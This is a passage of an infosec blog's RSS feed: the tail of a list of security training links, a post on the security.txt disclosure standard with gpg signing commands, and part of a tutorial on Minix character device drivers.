  &lt;li&gt;&lt;a href=&quot;https://github.com/ine-labs/GCPGoat&quot;&gt;GCPGoat&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/learn/azure/&quot;&gt;Azure Training&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloud.google.com/training&quot;&gt;Google Cloud Training&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://acloudguru.com&quot;&gt;A Cloud Guru&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rhinosecuritylabs.com/aws/cloudgoat-vulnerable-design-aws-environment/&quot;&gt;CloudGoat&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedvte.usalearning.gov/publiccourses/cloud2/cloudframe.php&quot;&gt;FedVTE Cloud Computing Security&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://flaws.cloud&quot;&gt;flAWS&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://flaws2.cloud&quot;&gt;flAWS 2&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://h4ck1ng.google&quot;&gt;H4CK1NG G00GL3&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/iknowjason/PurpleCloud&quot;&gt;Purple Cloud&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bridgecrew.io/blog/terragoat-open-source-infrastructure-code-security-training-project-terraform/&quot;&gt;TerraGoat&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;mobile&quot;&gt;Mobile&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://maddiestone.github.io/AndroidAppRE/&quot;&gt;Android App Reverse Engineering 101&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ragingrock.com//pages/tutorials.html&quot;&gt;Maddie Stone Workshops&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;container&quot;&gt;Container&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://bishopfox.com/blog/kubernetes-pod-privilege-escalation&quot;&gt;Bad Pods&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eksclustergames.com&quot;&gt;EKS Cluster Games&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://k8slanparty.com&quot;&gt;K8S Lan Party&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://google.github.io/kctf/&quot;&gt;kCTF&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://madhuakula.com/kubernetes-goat&quot;&gt;Kubernetes Goat&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;exploit-development--reverse-engineering--malware-analysis&quot;&gt;Exploit Development / Reverse Engineering / Malware Analysis&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rshipp/awesome-malware-analysis&quot;&gt;Awesome Malware Analysis&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://azeria-labs.com&quot;&gt;Azeria Labs&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.calypso.pub&quot;&gt;Calypso Labs&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/&quot;&gt;Corelan Team&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crackmes.one&quot;&gt;Crackmes&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://exploitthis.ctfd.io&quot;&gt;Emulate to Exploitate&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://exploit.education&quot;&gt;exploit.education&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mandiant/flare-learning-hub&quot;&gt;FLARE Learning Hub&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://flare-on.com&quot;&gt;FLARE On Challenge&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ghidra.golf&quot;&gt;Ghidra Golf&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maldevacademy.com&quot;&gt;MalDev Academy&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malwareunicorn.org/#/workshops&quot;&gt;Malware Unicorn Workshops&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.malware-traffic-analysis.net&quot;&gt;Malware-Traffic-Analysis.net&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://guyinatuxedo.github.io&quot;&gt;Nightmare&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://obfuscator.re/challenges/&quot;&gt;obfuscator.re&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://exploitation.ashemery.com&quot;&gt;Offensive Software Exploitation Course&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pawnyable.cafe/&quot;&gt;Pawnyable&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://pwnable.kr&quot;&gt;pwnable.kr&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwnable.tw&quot;&gt;pwnable.tw&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/0xZ0F/Z0FCourse_ReverseEngineering&quot;&gt;Reverse Engineering Course&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reversinghero.com&quot;&gt;Reversing Hero&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.smashthestack.org/wargames.html&quot;&gt;Smash The Stack&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reverseengineering.courses&quot;&gt;#TODO&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vkremez.com&quot;&gt;Vitali Kremez - Let’s Learn&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;ai&quot;&gt;AI&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://doublespeak.chat&quot;&gt;Doublespeak.chat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gandalf.lakera.ai&quot;&gt;Gandalf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;web3&quot;&gt;Web3&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.damnvulnerabledefi.xyz&quot;&gt;Damn Vulnerable DeFi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://multiversity.wefuzz.io&quot;&gt;Multiversity&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;vulnerability-management&quot;&gt;Vulnerability Management&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.qualys.com/training/&quot;&gt;Qualys Community&lt;/a&gt; [FREE | Offers Free Certs]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://university.tenable.com/&quot;&gt;Tenable University&lt;/a&gt; [FREE | Offers Free Certs]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;programming&quot;&gt;Programming&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.codecademy.com&quot;&gt;codeacademy&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eloquentjavascript.net&quot;&gt;Eloquent JavaScript&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.atlassian.com/git&quot;&gt;Getting Git Right&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackerrank.com&quot;&gt;HackerRank&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://inventwithpython.com&quot;&gt;Invent with Python&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://leetcode.com&quot;&gt;LeetCode&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dabeaz-course.github.io/practical-python&quot;&gt;Practical Python Programming&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://projecteuler.net&quot;&gt;Project Euler&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/index.html&quot;&gt;The Python Tutorial&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rubyfu.net&quot;&gt;Rubyfu&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.twilio.com/quest&quot;&gt;TwilioQuest&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.w3schools.com&quot;&gt;w3schools&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;general--other&quot;&gt;General / Other&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://bigiamchallenge.com&quot;&gt;The Big IAM Challenge&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://security.calpoly.edu/content/training/index&quot;&gt;Cal Poly Security Training Material&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://clark.center/home&quot;&gt;CLARK&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cmdchallenge.com&quot;&gt;Command Challenge&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.crypto101.io&quot;&gt;Crypto101&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://toc.cryptobook.us&quot;&gt;cryptobook&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cryptohack.org&quot;&gt;Cryptohack&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cryptopals.com&quot;&gt;Cryptopals&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://public.cyber.mil/cyber-training/training-catalog/&quot;&gt;DoD Cyber Exchange Public&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.enisa.europa.eu/topics/training-and-exercises/trainings-for-cybersecurity-specialists/online-training-material/&quot;&gt;ENISA&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://niccs.us-cert.gov/training/federal-virtual-training-environment-fedvte&quot;&gt;Federal Virtual Training Environment (FedVTE)&lt;/a&gt; [FREE (&lt;em&gt;for government personnel and veterans&lt;/em&gt;)]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedvte.usalearning.gov/public_fedvte.php&quot;&gt;FedVTE&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.khanacademy.org/computing/computer-science/cryptography/crypt/v/intro-to-cryptography&quot;&gt;Khan Academy - Encryption&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.learndmarc.com&quot;&gt;Learn and Test DMARC&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://messwithdns.net&quot;&gt;mess with dns&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-857-network-and-computer-security-spring-2014/&quot;&gt;MIT Open Courseware - Network and Computer Security&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netdevgroup.com/online/courses/cybersecurity?vendor=Palo+Alto+Networks&quot;&gt;NDG Online Courses &amp;amp; Labs&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://niccs.us-cert.gov/training&quot;&gt;NICCS&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sadservers.com&quot;&gt;SadServers&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seedsecuritylabs.org/index.html&quot;&gt;SEED Labs&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://telehack.com&quot;&gt;telehack&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://trainsec.net/library/&quot;&gt;trainsec&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.trytodecrypt.com/index.php&quot;&gt;try to decrypt&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wargame.nexus&quot;&gt;Wargame Nexus&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 13 Dec 2019 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/online-training</link>
        <guid isPermaLink="true">https://shellsharks.com/online-training</guid>
        
        <category>training</category>
        
        <category>infosec</category>
        
        <category>red</category>
        
        <category>blue</category>
        
        <category>project</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>A Method for Web Security Policies (security.txt)</title>
        <shark:summary><p>The <a href="https://www.ietf.org/about/groups/iesg/">Internet Engineering Steering Group</a> (IESG) is set to release a <a href="https://datatracker.ietf.org/doc/draft-foudil-securitytxt/?include_text=1">web security policy standard</a>, the goal of which is to simplify the vulnerability disclosure process. This proposal, dubbed “<em>A Method for Web Security Policies</em>”, specifies a standardized file (similar to that of <a href="https://www.robotstxt.org/">robots.txt</a> or <a href="http://humanstxt.org/">humans.txt</a>) named <strong>security.txt</strong>. This file will give security researchers (or anyone with a security concern to report) an easy way to learn about a site’s disclosure process or contact those responsible for site security. Primary information included in this file includes contact information, public keys for encrypted communication, acknowledgements for previous researchers and more.</p>
</shark:summary>
        <description>&lt;p&gt;The &lt;a href=&quot;https://www.ietf.org/about/groups/iesg/&quot;&gt;Internet Engineering Steering Group&lt;/a&gt; (IESG) is set to release a &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-foudil-securitytxt/?include_text=1&quot;&gt;web security policy standard&lt;/a&gt;, the goal of which is to simplify the vulnerability disclosure process. This proposal, dubbed “&lt;em&gt;A Method for Web Security Policies&lt;/em&gt;”, specifies a standardized file (similar to that of &lt;a href=&quot;https://www.robotstxt.org&quot;&gt;robots.txt&lt;/a&gt; or &lt;a href=&quot;http://humanstxt.org&quot;&gt;humans.txt&lt;/a&gt;) named &lt;strong&gt;security.txt&lt;/strong&gt;. This file will give security researchers (or anyone with a security concern to report) an easy way to learn about a site’s disclosure process or contact those responsible for site security. Primary information included in this file includes contact information, public keys for encrypted communication, acknowledgements for previous researchers and more.&lt;/p&gt;

&lt;p&gt;For more information on the &lt;a href=&quot;https://tools.ietf.org/html/draft-foudil-securitytxt-08&quot;&gt;draft RFC&lt;/a&gt; or to create a security.txt file of your own, please reference the &lt;a href=&quot;https://securitytxt.org&quot;&gt;project website&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;
&lt;b&gt;Update&lt;/b&gt;: &lt;a href=&quot;https://twitter.com/edoverflow/status/1519415583896481792?s=12&amp;amp;t=voBjc9wB18bF38rWsGc4Aw&quot;&gt;5 years after work began&lt;/a&gt; for &lt;i&gt;security.txt&lt;/i&gt;, &lt;a href=&quot;https://t.co/uIqSRo28ak&quot;&gt;RFC 9116&lt;/a&gt; has now officially been published!
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2019/securitytxt.png&quot; alt=&quot;security.txt&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;more-on-securitytxt&quot;&gt;More on security.txt&lt;/h2&gt;

&lt;p&gt;I think this is a great addition to the Internet at large and should prove very beneficial to security researchers. Having created &lt;a href=&quot;https://shellsharks.com/.well-known/security.txt&quot;&gt;one of my own&lt;/a&gt;, I have some additional thoughts/tips if you decide to create one for yourself.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I like the idea of having a directive that quickly summarizes what level of “consent” your site has with respect to vulnerability testing. For example, if you don’t authorize testing of any kind, you could specify this. Or, if your site has an open or by-invite-only bug-bounty program, you could specify that instead. For example, the directive/value pair &lt;strong&gt;Testing-Consent: None&lt;/strong&gt; could be used to express this information. &lt;strong&gt;Note&lt;/strong&gt;: This directive is not one of the current standard directives contained in the draft RFC (but perhaps I will &lt;a href=&quot;https://github.com/securitytxt/security-txt&quot;&gt;submit my own comment&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;For the &lt;strong&gt;Encryption&lt;/strong&gt; directive, I use gpg (&lt;a href=&quot;https://gnupg.org&quot;&gt;GnuPG&lt;/a&gt;) to &lt;a href=&quot;https://help.github.com/en/github/authenticating-to-github/generating-a-new-gpg-key&quot;&gt;create a public/private key&lt;/a&gt; pair and serve the &lt;strong&gt;public&lt;/strong&gt; key &lt;a href=&quot;https://shellsharks.com/public.pgp&quot;&gt;directly from my site&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;To combat potential tampering of security.txt, it is recommended to digitally sign the file. Security researchers should verify this signature prior to using any information contained within (see Section 6.1 of &lt;a href=&quot;https://tools.ietf.org/html/draft-foudil-securitytxt-08&quot;&gt;Draft RFC&lt;/a&gt;). With this in mind, I recommend to &lt;strong&gt;not&lt;/strong&gt; serve &lt;em&gt;both&lt;/em&gt; the public key and the security.txt signature from your site since in the event of a compromise, it would be trivial for an attacker to modify both of these files such that the signature would appear to be valid.&lt;/li&gt;
  &lt;li&gt;I’ve also included an additional non-standard directive in my own &lt;a href=&quot;https://shellsharks.com/.well-known/security.txt&quot;&gt;security.txt&lt;/a&gt; file which specifies the date the security.txt file was last updated. &lt;strong&gt;Last-Updated&lt;/strong&gt; would include just a simple date value (e.g. 12/13/2019).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;tips-for-using-gnupg&quot;&gt;Tips for Using gnupg&lt;/h2&gt;
&lt;p&gt;A few tips for creating your own signature files and validating the one I have provided in my &lt;a href=&quot;https://shellsharks.com/.well-known/security.txt&quot;&gt;security.txt&lt;/a&gt; file. &lt;sup&gt;&lt;a href=&quot;https://pieterbakker.com/implementing-security-txt/#:~:text=A%20“security.,be%20included%20in%20the%20“security.&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://help.ubuntu.com/community/GnuPrivacyGuardHowto&quot;&gt;Generate an OpenPGP Key&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gpg &lt;span class=&quot;nt&quot;&gt;--gen-key&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Export public key&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gpg &lt;span class=&quot;nt&quot;&gt;--export&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--ouput&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;file] user@email.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Create a digital signature&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gpg &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; user@email.com &lt;span class=&quot;nt&quot;&gt;--output&lt;/span&gt; security.txt.sig &lt;span class=&quot;nt&quot;&gt;--armor&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--detach-sig&lt;/span&gt; security.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Verify a digitally signed file.&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gpg &lt;span class=&quot;nt&quot;&gt;--verify&lt;/span&gt; security.txt.sig security.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 13 Dec 2019 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/security-txt</link>
        <guid isPermaLink="true">https://shellsharks.com/security-txt</guid>
        
        <category>bugbounty</category>
        
        <category>infosec</category>
        
        <category>blogging</category>
        
        <category>appsec</category>
        
        <category>pentesting</category>
        
        <category>privacy</category>
        
        <category>risk</category>
        
        <category>red</category>
        
        <category>thirdparty</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Exploring Minix Character Device Drivers</title>
        <shark:summary><p>This article is a continuation of what is covered in the <a href="https://wiki.minix3.org/doku.php?id=developersguide:driverprogramming">Programming Device Drivers in Minix</a> post found on the official <a href="https://wiki.minix3.org/doku.php">Minix 3 wiki</a>. That post is an introduction to programming device drivers on Minix in <strong>C</strong>. Device drivers are, in short, software programs that control hardware devices. <strong>Minix</strong>, as described by the <a href="https://www.minix3.org/">Minix homepage</a>, is a free, open-source, operating system designed to be highly reliable, flexible and secure. Minix is certainly <a href="https://en.wikipedia.org/wiki/Category:Microkernel-based_operating_systems">not the only example</a> of a micro-kernel design for an operating system but it does serve as an introduction to the world of micro-kernels.</p>
</shark:summary>
        <description>&lt;p&gt;This article is a continuation of what is covered in the &lt;a href=&quot;https://wiki.minix3.org/doku.php?id=developersguide:driverprogramming&quot;&gt;Programming Device Drivers in Minix&lt;/a&gt; post found on the official &lt;a href=&quot;https://wiki.minix3.org/doku.php&quot;&gt;Minix 3 wiki&lt;/a&gt;. That post is an introduction to programming device drivers on Minix in &lt;strong&gt;C&lt;/strong&gt;. Device drivers are, in short, software programs that control hardware devices. &lt;strong&gt;Minix&lt;/strong&gt;, as described by the &lt;a href=&quot;https://www.minix3.org&quot;&gt;Minix homepage&lt;/a&gt;, is a free, open-source, operating system designed to be highly reliable, flexible and secure. Minix is certainly &lt;a href=&quot;https://en.wikipedia.org/wiki/Category:Microkernel-based_operating_systems&quot;&gt;not the only example&lt;/a&gt; of a micro-kernel design for an operating system but it does serve as an introduction to the world of micro-kernels.&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;
&lt;b&gt;Disclaimer&lt;/b&gt;: This exploratory topic is related to some graduate work I did while &lt;a href=&quot;https://shellsharks.com/training-retrospective#jhu-masters-in-cybersecurity-review&quot;&gt;pursuing my Masters degree&lt;/a&gt;. I am by no means an expert in C programming nor Minix. With that said, there&apos;s not a lot of information out there on Minix so I hope this work can be valuable to others.
&lt;/div&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2019/minix.png&quot; alt=&quot;minix&quot; /&gt;&lt;/center&gt;

&lt;h1 id=&quot;minix-wiki-tutorial&quot;&gt;Minix Wiki Tutorial&lt;/h1&gt;

&lt;p&gt;Step 1 of course is to begin following the instructions detailed in the &lt;a href=&quot;https://wiki.minix3.org/doku.php?id=developersguide:driverprogramming&quot;&gt;Programming Device Drivers in Minix&lt;/a&gt; tutorial. In that tutorial, you will create the driver directory, &lt;em&gt;Makefile&lt;/em&gt; and driver file as well as setup the driver configuration file, start the driver service and create the character device. Rather than rehash all these steps (which are covered in great detail in that post), I will cover a few minor differences in my setup as well as a few &lt;em&gt;slightly&lt;/em&gt; more advanced points.&lt;/p&gt;

&lt;p&gt;Navigate to the Minix drivers directory &lt;em&gt;/usr/src/minix/drivers/&lt;/em&gt;. Here, you can make a copy of the &lt;em&gt;hello&lt;/em&gt; driver which was discussed in the &lt;a href=&quot;https://wiki.minix3.org/doku.php?id=developersguide:driverprogramming&quot;&gt;Wiki post&lt;/a&gt; &lt;em&gt;/usr/src/minix/drivers/examples/hello&lt;/em&gt;. In this folder you should see the &lt;em&gt;Makefile&lt;/em&gt;, &lt;em&gt;hello.c&lt;/em&gt;, header file and more (all of which was covered in the Minix &lt;a href=&quot;https://wiki.minix3.org/doku.php?id=developersguide:driverprogramming&quot;&gt;wiki post&lt;/a&gt;). You do not need the &lt;em&gt;.o&lt;/em&gt;, &lt;em&gt;.h&lt;/em&gt; or &lt;em&gt;.d&lt;/em&gt; files. You can &lt;em&gt;rm&lt;/em&gt; them for now. From here, you can rename your &lt;em&gt;hello.c&lt;/em&gt; file to whatever you want your device to be called (from here I will refer to this as &lt;em&gt;[name]&lt;/em&gt;). Similarly, you will have to edit the contents of the &lt;em&gt;Makefile&lt;/em&gt;, contents of the &lt;em&gt;hello.c&lt;/em&gt; (now renamed to what you want) and the directory name of your driver replacing any instance of the word “&lt;em&gt;hello&lt;/em&gt;” with your chosen name word &lt;em&gt;[name]&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;After you’ve made these name-related changes, you can test the build by running…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;make clean
make
make &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unlike in the tutorial, rather than create a &lt;em&gt;hello.conf&lt;/em&gt; in the driver’s directory itself, we instead put the configuration information in the more global &lt;em&gt;/etc/system.conf&lt;/em&gt; directory/file. The configuration information for your driver can be the same as what was in the example ‘&lt;em&gt;hello&lt;/em&gt;’ driver configuration. (In other words, you can copy exactly what is in this configuration file for the &lt;em&gt;hello&lt;/em&gt; driver and put it at the end of the .conf file - but remember to change the name!).&lt;/p&gt;

&lt;p&gt;Now, we can create the device file with the command…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mknod&lt;/span&gt; /dev/[name] c &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;major number] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;minor number]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;strong&gt;major number&lt;/strong&gt; and &lt;strong&gt;minor numbers&lt;/strong&gt; are used by the system to associate the driver with the device. More information on these numbers can be read about &lt;a href=&quot;https://www.oreilly.com/library/view/linux-device-drivers/0596000081/ch03s02.html&quot;&gt;here&lt;/a&gt;. Whats important is you &lt;strong&gt;choose a device number that is not already being used by an existing driver&lt;/strong&gt;. You can see what device numbers are in used by running the command…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; /dev | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; &quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; 11 | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;,&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; 1 | &lt;span class=&quot;nb&quot;&gt;uniq&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

